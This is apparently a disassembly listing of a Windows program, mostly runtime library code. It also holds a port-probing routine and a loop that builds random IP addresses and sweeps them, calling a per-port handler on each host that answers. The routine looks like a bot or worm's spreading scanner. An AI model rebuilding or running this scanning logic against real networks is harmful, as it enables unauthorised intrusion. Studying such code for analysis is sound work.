loc_411FDE: ; CODE XREF: sub_411EAB+10Fj
; sub_411EAB+12Cj
mov [ebp+var_4], 1
loc_411FE5: ; CODE XREF: sub_411EAB:loc_411FDCj
dec eax
mov edx, [ebp+arg_0]
mov [ecx], edx
mov ecx, [ebp+var_4]
jns short loc_411FC1
loc_411FF0: ; CODE XREF: sub_411EAB+118j
mov [ebp+arg_0], ecx
loc_411FF3: ; CODE XREF: sub_411EAB+B5j
; sub_411EAB+D8j
mov ecx, [ebp+var_8]
or eax, 0FFFFFFFFh
shl eax, cl
and [edi], eax
mov eax, [ebp+var_C]
inc eax
cmp eax, 3
jge short loc_412013
push 3
pop ecx
lea edi, [ebp+eax*4+var_20]
sub ecx, eax
xor eax, eax
rep stosd
loc_412013: ; CODE XREF: sub_411EAB+159j
cmp [ebp+arg_0], 0
jz short loc_41201A
inc ebx
loc_41201A: ; CODE XREF: sub_411EAB+16Cj
mov eax, dword_42424C
mov ecx, eax
sub ecx, dword_424250
cmp ebx, ecx
jge short loc_412038
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
stosd
jmp loc_412245
; ---------------------------------------------------------------------------
loc_412038: ; CODE XREF: sub_411EAB+17Ej
cmp ebx, eax
jg loc_41224F
sub eax, [ebp+var_10]
lea esi, [ebp+var_2C]
mov ecx, eax
lea edi, [ebp+var_20]
movsd
cdq
and edx, 1Fh
add eax, edx
movsd
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
movsd
jns short loc_412066
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_412066: ; CODE XREF: sub_411EAB+1B4j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_412081: ; CODE XREF: sub_411EAB+201j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_412081
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_4120BB: ; CODE XREF: sub_411EAB+227j
cmp edx, eax
jl short loc_4120C7
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_4120CC
; ---------------------------------------------------------------------------
loc_4120C7: ; CODE XREF: sub_411EAB+212j
and [ebp+edx*4+var_20], 0
loc_4120CC: ; CODE XREF: sub_411EAB+21Aj
dec edx
sub ecx, 4
test edx, edx
jge short loc_4120BB
mov esi, dword_424250
dec esi
lea ecx, [esi+1]
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov edx, ecx
and edx, 8000001Fh
mov [ebp+var_C], eax
jns short loc_4120FB
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_4120FB: ; CODE XREF: sub_411EAB+249j
push 1Fh
pop ecx
sub ecx, edx
xor edx, edx
inc edx
shl edx, cl
lea ebx, [ebp+eax*4+var_20]
mov [ebp+var_10], ecx
test [ebx], edx
jz loc_412196
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [ebp+eax*4+var_20], edx
jmp short loc_412126
; ---------------------------------------------------------------------------
loc_412121: ; CODE XREF: sub_411EAB+281j
cmp [ebp+eax*4+var_20], 0
loc_412126: ; CODE XREF: sub_411EAB+274j
jnz short loc_412130
inc eax
cmp eax, 3
jl short loc_412121
jmp short loc_412196
; ---------------------------------------------------------------------------
loc_412130: ; CODE XREF: sub_411EAB:loc_412126j
mov eax, esi
cdq
push 1Fh
pop ecx
and edx, ecx
add eax, edx
sar eax, 5
and esi, 8000001Fh
jns short loc_41214A
dec esi
or esi, 0FFFFFFE0h
inc esi
loc_41214A: ; CODE XREF: sub_411EAB+298j
and [ebp+arg_0], 0
xor edx, edx
sub ecx, esi
inc edx
shl edx, cl
lea ecx, [ebp+eax*4+var_20]
mov esi, [ecx]
lea edi, [esi+edx]
cmp edi, esi
jb short loc_412166
cmp edi, edx
jnb short loc_41216D
loc_412166: ; CODE XREF: sub_411EAB+2B5j
mov [ebp+arg_0], 1
loc_41216D: ; CODE XREF: sub_411EAB+2B9j
mov [ecx], edi
mov ecx, [ebp+arg_0]
jmp short loc_412193
; ---------------------------------------------------------------------------
loc_412174: ; CODE XREF: sub_411EAB+2E9j
test ecx, ecx
jz short loc_412196
lea ecx, [ebp+eax*4+var_20]
mov edx, [ecx]
lea esi, [edx+1]
xor edi, edi
cmp esi, edx
jb short loc_41218C
cmp esi, 1
jnb short loc_41218F
loc_41218C: ; CODE XREF: sub_411EAB+2DAj
xor edi, edi
inc edi
loc_41218F: ; CODE XREF: sub_411EAB+2DFj
mov [ecx], esi
mov ecx, edi
loc_412193: ; CODE XREF: sub_411EAB+2C7j
dec eax
jns short loc_412174
loc_412196: ; CODE XREF: sub_411EAB+263j
; sub_411EAB+283j ...
mov ecx, [ebp+var_10]
or eax, 0FFFFFFFFh
shl eax, cl
and [ebx], eax
mov eax, [ebp+var_C]
inc eax
cmp eax, 3
jge short loc_4121B6
push 3
pop ecx
lea edi, [ebp+eax*4+var_20]
sub ecx, eax
xor eax, eax
rep stosd
loc_4121B6: ; CODE XREF: sub_411EAB+2FCj
mov ecx, dword_424254
inc ecx
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_4121D7
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_4121D7: ; CODE XREF: sub_411EAB+325j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_4121F2: ; CODE XREF: sub_411EAB+372j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_4121F2
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_41222C: ; CODE XREF: sub_411EAB+398j
cmp edx, eax
jl short loc_412238
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_41223D
; ---------------------------------------------------------------------------
loc_412238: ; CODE XREF: sub_411EAB+383j
and [ebp+edx*4+var_20], 0
loc_41223D: ; CODE XREF: sub_411EAB+38Bj
dec edx
sub ecx, 4
test edx, edx
jge short loc_41222C
loc_412245: ; CODE XREF: sub_411EAB+188j
push 2
xor ebx, ebx
pop eax
jmp loc_4123A9
; ---------------------------------------------------------------------------
loc_41224F: ; CODE XREF: sub_411EAB+18Fj
cmp ebx, dword_424248
mov ecx, dword_424254
jl loc_41230E
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
stosd
or [ebp+var_20], 80000000h
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_41228A
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_41228A: ; CODE XREF: sub_411EAB+3D8j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_4122A5: ; CODE XREF: sub_411EAB+425j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_4122A5
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_4122DF: ; CODE XREF: sub_411EAB+44Bj
cmp edx, eax
jl short loc_4122EB
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_4122F0
; ---------------------------------------------------------------------------
loc_4122EB: ; CODE XREF: sub_411EAB+436j
and [ebp+edx*4+var_20], 0
loc_4122F0: ; CODE XREF: sub_411EAB+43Ej
dec edx
sub ecx, 4
test edx, edx
jge short loc_4122DF
mov eax, dword_424248
mov ecx, dword_42425C
lea ebx, [ecx+eax]
xor eax, eax
inc eax
jmp loc_4123A9
; ---------------------------------------------------------------------------
loc_41230E: ; CODE XREF: sub_411EAB+3B0j
mov eax, dword_42425C
and [ebp+var_20], 7FFFFFFFh
add ebx, eax
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_412336
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_412336: ; CODE XREF: sub_411EAB+484j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or esi, 0FFFFFFFFh
mov ecx, edx
shl esi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not esi
loc_412351: ; CODE XREF: sub_411EAB+4D4j
mov ecx, [ebp+arg_0]
mov edi, [ebp+ecx*4+var_20]
mov ecx, edi
and ecx, esi
mov [ebp+var_10], ecx
mov ecx, edx
shr edi, cl
mov ecx, [ebp+arg_0]
or edi, [ebp+var_C]
mov [ebp+ecx*4+var_20], edi
mov edi, [ebp+var_10]
mov ecx, [ebp+var_4]
shl edi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], edi
jl short loc_412351
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_41238E: ; CODE XREF: sub_411EAB+4FAj
cmp edx, eax
jl short loc_41239A
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_41239F
; ---------------------------------------------------------------------------
loc_41239A: ; CODE XREF: sub_411EAB+4E5j
and [ebp+edx*4+var_20], 0
loc_41239F: ; CODE XREF: sub_411EAB+4EDj
dec edx
sub ecx, 4
test edx, edx
jge short loc_41238E
xor eax, eax
loc_4123A9: ; CODE XREF: sub_411EAB+39Fj
; sub_411EAB+45Ej
pop esi
loc_4123AA: ; CODE XREF: sub_411EAB+55j
; sub_411EAB+65j
push 1Fh
pop ecx
sub ecx, dword_424254
shl ebx, cl
mov ecx, [ebp+var_14]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or ebx, ecx
mov ecx, dword_424258
or ebx, [ebp+var_20]
cmp ecx, 40h
jnz short loc_4123DF
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], ebx
mov [ecx], edx
jmp short loc_4123E9
; ---------------------------------------------------------------------------
loc_4123DF: ; CODE XREF: sub_411EAB+525j
cmp ecx, 20h
jnz short loc_4123E9
mov ecx, [ebp+arg_4]
mov [ecx], ebx
loc_4123E9: ; CODE XREF: sub_411EAB+532j
; sub_411EAB+537j
pop edi
pop ebx
leave
retn
sub_411EAB endp
; [00000691 BYTES: COLLAPSED FUNCTION ___strgtold12_l. PRESS KEYPAD "+" TO EXPAND]
db 8Dh, 49h, 0
off_412A81 dd offset $LN119 ; DATA XREF: ___strgtold12_l+91r
dd offset $LN108 ; jump table for switch statement
dd offset $LN97
dd offset $LN88
dd offset $LN75
dd offset $LN61
dd offset $LN58
dd offset $LN43_0
dd offset $LN49_0
dd offset $LN36_2
dd offset $LN257
dd offset $LN28_2
; [000008C8 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND]
; [0000008E BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND]
; [000000A0 BYTES: COLLAPSED FUNCTION ___hw_cw_sse2. PRESS KEYPAD "+" TO EXPAND]
; [00000303 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND]
; [000001CC BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_413976 proc near ; CODE XREF: unknown_libname_9+24p
; _EH4_GlobalUnwind(x)+10p ...
jmp ds:dword_41D1B0
sub_413976 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41397C proc near ; CODE XREF: sub_413A2D+14Bp
; sub_413A2D+271p ...
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 128h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push esi
push edi
xor edi, edi
push 6
inc edi
push edi
push 2
mov [ebp+var_18], edi
call ds:dword_41D27C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4139AD
xor al, al
jmp short loc_413A1F
; ---------------------------------------------------------------------------
loc_4139AD: ; CODE XREF: sub_41397C+2Bj
push [ebp+arg_4]
call ds:dword_41D278 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push esi
mov [ebp+var_14], 2
call ds:dword_41D268 ; ioctlsocket
and [ebp+var_1C], 0
push 10h
lea eax, [ebp+var_14]
push eax
push esi
mov [ebp+var_20], 5
mov [ebp+var_124], esi
mov [ebp+var_128], edi
call ds:dword_41D240 ; connect
lea eax, [ebp+var_20]
push eax
push 0
lea eax, [ebp+var_128]
push eax
push 0
push 0
call ds:dword_41D258 ; select
push esi
mov edi, eax
call ds:dword_41D224 ; closesocket
test edi, edi
setnle al
loc_413A1F: ; CODE XREF: sub_41397C+2Fj
mov ecx, [ebp+var_4]
pop edi
xor ecx, ebp
pop esi
call sub_402710
leave
retn
sub_41397C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_413A2D proc near ; DATA XREF: sub_401F1C+4E3o
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_244 = dword ptr -244h
Dest = byte ptr -240h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = byte ptr -134h
var_133 = byte ptr -133h
var_130 = byte ptr -130h
var_30 = byte ptr -30h
var_20 = byte ptr -20h
var_1E = byte ptr -1Eh
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 25Ch
mov eax, dword_423064
xor eax, esp
mov [esp+25Ch+var_4], eax
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push 49h
pop ecx
lea edi, [esp+268h+var_130]
rep movsd
loc_413A59: ; CODE XREF: sub_413A2D+544j
; sub_413A2D+555j
lea eax, [esp+268h+var_250]
push eax
lea eax, [esp+26Ch+var_254]
push eax
lea eax, [esp+270h+var_258]
push eax
lea eax, [esp+274h+var_25C]
push eax
or edi, 0FFFFFFFFh
lea eax, [esp+278h+var_30]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax ; char *
mov [esp+280h+var_25C], edi
mov [esp+280h+var_258], edi
mov [esp+280h+var_254], edi
mov [esp+280h+var_250], edi
call _sscanf
add esp, 18h
cmp [esp+268h+var_1E], 0
jz short loc_413AE7
cmp [esp+268h+var_25C], edi
mov esi, 0FEh
jnz short loc_413AB7
mov eax, esi
xor ebx, ebx
call sub_4192C7
mov [esp+268h+var_25C], eax
loc_413AB7: ; CODE XREF: sub_413A2D+7Bj
cmp [esp+268h+var_258], edi
jnz short loc_413ACA
mov eax, esi
xor ebx, ebx
call sub_4192C7
mov [esp+268h+var_258], eax
loc_413ACA: ; CODE XREF: sub_413A2D+8Ej
cmp [esp+268h+var_254], edi
jnz short loc_413ADD
mov eax, esi
xor ebx, ebx
call sub_4192C7
mov [esp+268h+var_254], eax
loc_413ADD: ; CODE XREF: sub_413A2D+A1j
mov eax, [esp+268h+var_250]
cmp eax, edi
jnz short loc_413B39
jmp short loc_413B12
; ---------------------------------------------------------------------------
loc_413AE7: ; CODE XREF: sub_413A2D+70j
mov eax, [esp+268h+var_18]
sub eax, 0
jz short loc_413B21
dec eax
jz short loc_413B00
dec eax
jnz short loc_413B35
mov eax, 0FEh
jmp short loc_413B14
; ---------------------------------------------------------------------------
loc_413B00: ; CODE XREF: sub_413A2D+C7j
mov esi, 0FEh
loc_413B05: ; CODE XREF: sub_413A2D+106j
mov eax, esi
xor ebx, ebx
call sub_4192C7
mov [esp+268h+var_254], eax
loc_413B12: ; CODE XREF: sub_413A2D+B8j
mov eax, esi
loc_413B14: ; CODE XREF: sub_413A2D+D1j
xor ebx, ebx
call sub_4192C7
mov [esp+268h+var_250], eax
jmp short loc_413B39
; ---------------------------------------------------------------------------
loc_413B21: ; CODE XREF: sub_413A2D+C4j
mov esi, 0FEh
mov eax, esi
xor ebx, ebx
call sub_4192C7
mov [esp+268h+var_258], eax
jmp short loc_413B05
; ---------------------------------------------------------------------------
loc_413B35: ; CODE XREF: sub_413A2D+CAj
mov eax, [esp+268h+var_250]
loc_413B39: ; CODE XREF: sub_413A2D+B6j
; sub_413A2D+F2j
shl eax, 8
add eax, [esp+268h+var_254]
shl eax, 8
add eax, [esp+268h+var_258]
shl eax, 8
add eax, [esp+268h+var_25C]
mov [esp+268h+var_14], eax
mov eax, [esp+268h+var_1C]
cmp eax, edi
jnz loc_413D78
xor ebx, ebx
mov [esp+268h+var_248], ebx
mov eax, offset dword_424548
loc_413B6F: ; CODE XREF: sub_413A2D+169j
push dword ptr [eax]
push [esp+26Ch+var_14]
call sub_41397C
test al, al
pop ecx
pop ecx
jnz short loc_413B9D
inc ebx
mov eax, ebx
imul eax, 2Ch
lea eax, dword_424548[eax]
cmp dword ptr [eax], 0
mov [esp+268h+var_248], ebx
jnz short loc_413B6F
jmp loc_413F62
; ---------------------------------------------------------------------------
loc_413B9D: ; CODE XREF: sub_413A2D+154j
push 110h ; size_t
lea eax, [esp+26Ch+Dest]
push 0 ; int
push eax ; void *
call _memset
add esp, 0Ch
lea eax, [esp+268h+var_130]
push eax
push offset aS_0 ; "%s"
lea eax, [esp+270h+Dest]
push 0FFh ; Count
push eax ; Dest
call __snprintf
lea eax, [esp+278h+Dest]
add esp, 10h
lea esi, [eax+1]
loc_413BD7: ; CODE XREF: sub_413A2D+1AFj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_413BD7
sub eax, esi
mov [esp+eax+268h+Dest], cl
mov eax, [esp+268h+var_14]
mov [esp+268h+var_140], ebx
imul ebx, 2Ch
mov [esp+268h+var_13C], eax
mov eax, dword_424548[ebx]
mov [esp+268h+var_138], eax
mov al, [esp+268h+var_20]
sub esp, 110h
mov [esp+378h+var_134], al
mov al, [esp+378h+var_1E]
push 44h
pop ecx
mov [esp+378h+var_133], al
lea esi, [esp+378h+Dest]
mov edi, esp
rep movsd
call dword_424550[ebx]
mov esi, [esp+378h+var_250]
shl esi, 8
add esi, [esp+378h+var_254]
add esp, 110h
shl esi, 8
add esi, [esp+268h+var_258]
mov [esp+268h+var_24C], 100h
shl esi, 8
add esi, [esp+268h+var_25C]
mov [esp+268h+var_244], esi
loc_413C70: ; CODE XREF: sub_413A2D+340j
mov eax, [esp+268h+var_24C]
mov ecx, [esp+268h+var_254]
add eax, ecx
shl eax, 8
add eax, [esp+268h+var_258]
shl eax, 8
add eax, [esp+268h+var_25C]
cmp eax, esi
mov [esp+268h+var_14], eax
jz loc_413D5D
push dword_424548[ebx]
push eax
call sub_41397C
test al, al
pop ecx
pop ecx
jz loc_413D5D
push 110h ; size_t
lea eax, [esp+26Ch+Dest]
push 0 ; int
push eax ; void *
call _memset
add esp, 0Ch
lea eax, [esp+268h+var_130]
push eax
push offset aS_1 ; "%s"
lea eax, [esp+270h+Dest]
push 0FFh ; Count
push eax ; Dest
call __snprintf
lea eax, [esp+278h+Dest]
add esp, 10h
lea esi, [eax+1]
loc_413CE7: ; CODE XREF: sub_413A2D+2BFj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_413CE7
sub eax, esi
mov [esp+eax+268h+Dest], cl
mov eax, [esp+268h+var_14]
mov [esp+268h+var_13C], eax
mov eax, [esp+268h+var_248]
mov [esp+268h+var_140], eax
mov eax, dword_424548[ebx]
mov [esp+268h+var_138], eax
mov al, [esp+268h+var_20]
sub esp, 110h
mov [esp+378h+var_134], al
mov al, [esp+378h+var_1E]
push 44h
pop ecx
mov [esp+378h+var_133], al
lea esi, [esp+378h+Dest]
mov edi, esp
rep movsd
call dword_424550[ebx]
mov esi, [esp+378h+var_244]
add esp, 110h
loc_413D5D: ; CODE XREF: sub_413A2D+264j
; sub_413A2D+27Aj
add [esp+268h+var_24C], 100h
cmp [esp+268h+var_24C], 0FE00h
jle loc_413C70
jmp loc_413F5D
; ---------------------------------------------------------------------------
loc_413D78: ; CODE XREF: sub_413A2D+131j
imul eax, 2Ch
push dword_424548[eax]
push [esp+26Ch+var_14]
call sub_41397C
test al, al
pop ecx
pop ecx
jz loc_413F62
push 110h ; size_t
lea eax, [esp+26Ch+Dest]
push 0 ; int
push eax ; void *
call _memset
add esp, 0Ch
lea eax, [esp+268h+var_130]
push eax
push offset aS_2 ; "%s"
lea eax, [esp+270h+Dest]
push 0FFh ; Count
push eax ; Dest
call __snprintf
lea eax, [esp+278h+Dest]
add esp, 10h
lea ecx, [eax+1]
loc_413DD1: ; CODE XREF: sub_413A2D+3A9j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_413DD1
sub eax, ecx
mov [esp+eax+268h+Dest], dl
mov eax, [esp+268h+var_14]
mov [esp+268h+var_13C], eax
mov eax, [esp+268h+var_1C]
mov [esp+268h+var_140], eax
imul eax, 2Ch
mov ecx, dword_424548[eax]
mov [esp+268h+var_138], ecx
mov cl, [esp+268h+var_20]
sub esp, 110h
mov [esp+378h+var_134], cl
push 44h
pop ecx
lea esi, [esp+378h+Dest]
mov edi, esp
rep movsd
call dword_424550[eax]
mov ebx, [esp+378h+var_250]
shl ebx, 8
add ebx, [esp+378h+var_254]
add esp, 110h
shl ebx, 8
add ebx, [esp+268h+var_258]
mov [esp+268h+var_24C], 100h
shl ebx, 8
add ebx, [esp+268h+var_25C]
loc_413E5F: ; CODE XREF: sub_413A2D+52Aj
mov eax, [esp+268h+var_24C]
mov ecx, [esp+268h+var_254]
add eax, ecx
shl eax, 8
add eax, [esp+268h+var_258]
shl eax, 8
add eax, [esp+268h+var_25C]
cmp eax, ebx
mov [esp+268h+var_14], eax
jz loc_413F47
mov ecx, [esp+268h+var_1C]
imul ecx, 2Ch
push dword_424548[ecx]
push eax
call sub_41397C
test al, al
pop ecx
pop ecx
jz loc_413F47
push 110h ; size_t
lea eax, [esp+26Ch+Dest]
push 0 ; int
push eax ; void *
call _memset
add esp, 0Ch
lea eax, [esp+268h+var_130]
push eax
push offset aS_3 ; "%s"
lea eax, [esp+270h+Dest]
push 0FFh ; Count
push eax ; Dest
call __snprintf
lea eax, [esp+278h+Dest]
add esp, 10h
lea esi, [eax+1]
loc_413EE0: ; CODE XREF: sub_413A2D+4B8j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_413EE0
sub eax, esi
mov [esp+eax+268h+Dest], cl
mov eax, [esp+268h+var_14]
mov [esp+268h+var_13C], eax
mov eax, [esp+268h+var_1C]
mov [esp+268h+var_140], eax
imul eax, 2Ch
mov ecx, dword_424548[eax]
mov [esp+268h+var_138], ecx
mov cl, [esp+268h+var_20]
sub esp, 110h
mov [esp+378h+var_134], cl
push 44h
pop ecx
lea esi, [esp+378h+Dest]
mov edi, esp
rep movsd
call dword_424550[eax]
add esp, 110h
loc_413F47: ; CODE XREF: sub_413A2D+453j
; sub_413A2D+473j
add [esp+268h+var_24C], 100h
cmp [esp+268h+var_24C], 0FE00h
jle loc_413E5F
loc_413F5D: ; CODE XREF: sub_413A2D+346j
call sub_4192FB
loc_413F62: ; CODE XREF: sub_413A2D+16Bj
; sub_413A2D+364j
push 64h
call ds:dword_41D0FC ; Sleep
cmp byte_4269C0, 0
jnz loc_413A59
push 2710h
call ds:dword_41D0FC ; Sleep
jmp loc_413A59
sub_413A2D endp
; ---------------------------------------------------------------------------
cmp dword ptr [eax+4], 0
setnz al
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F8F proc near ; CODE XREF: sub_414023+12p
; sub_414042+5Dp
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
and dword ptr [ebx+4], 0
mov eax, dword_433C4C
mov eax, [eax]
mov [ebp+var_4], eax
mov eax, offset dword_433C48
push esi
push edi
mov [ebp+var_8], eax
mov [ebp+var_10], eax
loc_413FB0: ; CODE XREF: sub_413F8F+4Cj
mov eax, dword_433C4C
lea edi, [ebp+var_10]
lea esi, [ebp+var_8]
mov [ebp+var_C], eax
call sub_40166F
test al, al
jz short loc_414018
call sub_40164F
mov ecx, [ebx]
cmp ecx, [eax+40h]
lea edi, [ebp+var_18]
jz short loc_413FDD
call sub_40168C
jmp short loc_413FB0
; ---------------------------------------------------------------------------
loc_413FDD: ; CODE XREF: sub_413F8F+45j
mov eax, [ebp+var_8]
mov [ebp+var_10], eax
mov eax, [ebp+var_4]
lea esi, [ebp+var_10]
mov [ebp+var_C], eax
call sub_40168C
mov eax, [eax+4]
cmp eax, dword_433C4C
jz short loc_414018
mov ecx, [eax+4]
mov edx, [eax]
mov [ecx], edx
mov ecx, [eax]
mov edx, [eax+4]
push eax ; Memory
mov [ecx+4], edx
call j__free
dec dword_433C50
pop ecx
loc_414018: ; CODE XREF: sub_413F8F+36j
; sub_413F8F+6Bj
push ebx ; Memory
call j__free
pop ecx
pop edi
pop esi
leave
retn
sub_413F8F endp
; =============== S U B R O U T I N E =======================================
sub_414023 proc near ; CODE XREF: sub_40243A+7Cp
; sub_419477+10Bp
push ebx
mov ebx, eax
push 0
push dword ptr [ebx+4]
call ds:dword_41D094 ; TerminateThread
test eax, eax
jz short loc_41403E
call sub_413F8F
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41403E: ; CODE XREF: sub_414023+10j
xor al, al
pop ebx
retn
sub_414023 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414042 proc near ; CODE XREF: sub_419EA0+4D2p
; sub_41B925+240p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 1Ch
mov eax, dword_433C4C
mov eax, [eax]
push ebx
mov [esp+20h+var_14], eax
mov eax, offset dword_433C48
push esi
push edi
mov [esp+28h+var_18], eax
mov [esp+28h+var_10], eax
loc_414066: ; CODE XREF: sub_414042+54j
mov eax, dword_433C4C
lea edi, [esp+28h+var_10]
lea esi, [esp+28h+var_18]
mov [esp+28h+var_C], eax
call sub_40166F
test al, al
jz short loc_4140A4
call sub_40164F
mov ecx, [ebp+arg_0]
cmp ecx, [eax+40h]
jz short loc_414098
lea edi, [esp+28h+var_8]
call sub_40168C
jmp short loc_414066
; ---------------------------------------------------------------------------
loc_414098: ; CODE XREF: sub_414042+49j
call sub_40164F
mov ebx, [eax]
call sub_413F8F
loc_4140A4: ; CODE XREF: sub_414042+3Cj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_414042 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4140AB proc near ; CODE XREF: sub_40177B+246p
; sub_4019F3+1F8p ...
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
Dest = byte ptr -4Bh
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 54h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push esi
push 0
push ecx
push eax
push 0
push 0
call ds:dword_41D110 ; CreateThread
test eax, eax
mov [esi+4], eax
jz short loc_414104
push edi ; Format
lea eax, [ebp+Dest]
push 38h ; Count
push eax ; Dest
call __snprintf
mov eax, [esi]
add esp, 0Ch
mov [ebp+var_10], eax
mov eax, dword_433C4C
push eax
mov ecx, offset dword_433C48
push ecx
lea eax, [ebp+var_50]
push eax
mov [ebp+var_4C], 0
mov [ebp+var_50], esi
call sub_4016BA
loc_414104: ; CODE XREF: sub_4140AB+27j
push 1
push dword ptr [esi+4]
call ds:dword_41D07C ; WaitForSingleObject
mov ecx, [ebp+var_4]
xor ecx, ebp
mov eax, esi
call sub_402710
leave
retn 4
sub_4140AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41411F proc near ; CODE XREF: sub_41A5C1+1C7p
; sub_41A5C1+1E1p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
